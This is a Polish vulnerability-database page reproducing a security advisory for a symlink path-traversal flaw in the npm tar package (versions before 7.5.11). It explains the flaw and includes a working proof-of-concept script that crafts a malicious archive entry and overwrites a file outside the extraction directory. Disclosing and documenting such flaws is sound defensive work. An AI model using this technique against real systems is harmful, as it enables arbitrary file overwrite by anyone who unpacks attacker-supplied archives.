Wysoka

node-tar Symlink Path Traversal via Drive-Relative Linkpath

  • Ujawniono: 10.03.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

  1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
  2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
  3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
  4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

bash
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm tar < 7.5.11 7.5.11

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
Słabość (CWE)
CWE-22
Platforma
npm
Paczka
tar
Ujawniono
10.03.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-9ppj-qmqm-q256 - CC BY 4.0

Historia podatności: tar

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (21) w archiwum
Wszystkich wpisów
21
Pierwsza → ostatnia
10.2017 07.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 15
  • Średnia 5

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 0
  5. 2021: 5
  6. 2022: 0
  7. 2023: 0
  8. 2024: 1
  9. 2025: 1
  10. 2026: 12
Istotność:
  1. Krytyczna · 7.5 CVE-2026-59873 < 7.5.19 7.5.19
  2. node-tar Symlink Path Traversal via Drive-Relative Linkpath ten wpis
    Wysoka CVE-2026-31802 < 7.5.11 7.5.11
  3. Wysoka CVE-2026-29786 < 7.5.10 7.5.10
  4. Wysoka · 8.2 CVE-2021-37701 >= 3.0.0, < 4.4.16, >= 5.0.0, < 5.0.8, >= 6.0.0, < 6.1.7 4.4.16, 5.0.8, 6.1.7
  5. Wysoka · 8.2 CVE-2021-37712 >= 3.0.0, < 4.4.18, >= 5.0.0, < 5.0.10, >= 6.0.0, < 6.1.9 4.4.18, 5.0.10, 6.1.9
  6. Wysoka · 8.2 CVE-2021-37713 < 4.4.18, >= 5.0.0, < 5.0.10, >= 6.0.0, < 6.1.9 4.4.18, 5.0.10, 6.1.9
  7. Wysoka · 8.2 CVE-2021-32804 < 3.2.2, >= 4.0.0, < 4.4.14, >= 5.0.0, < 5.0.6, >= 6.0.0, < 6.1.1 3.2.2, 4.4.14, 5.0.6, 6.1.1
  8. Wysoka · 8.2 CVE-2021-32803 >= 3.0.0, < 3.2.3, >= 4.0.0, < 4.4.15, >= 5.0.0, < 5.0.7, >= 6.0.0, < 6.1.2 3.2.3, 4.4.15, 5.0.7, 6.1.2
  9. Wysoka · 7.5 CVE-2018-20834 >= 3.0.0, < 4.4.2, < 2.2.2 4.4.2, 2.2.2
  10. Wysoka · 7.5 CVE-2015-8860 < 2.0.0 2.0.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.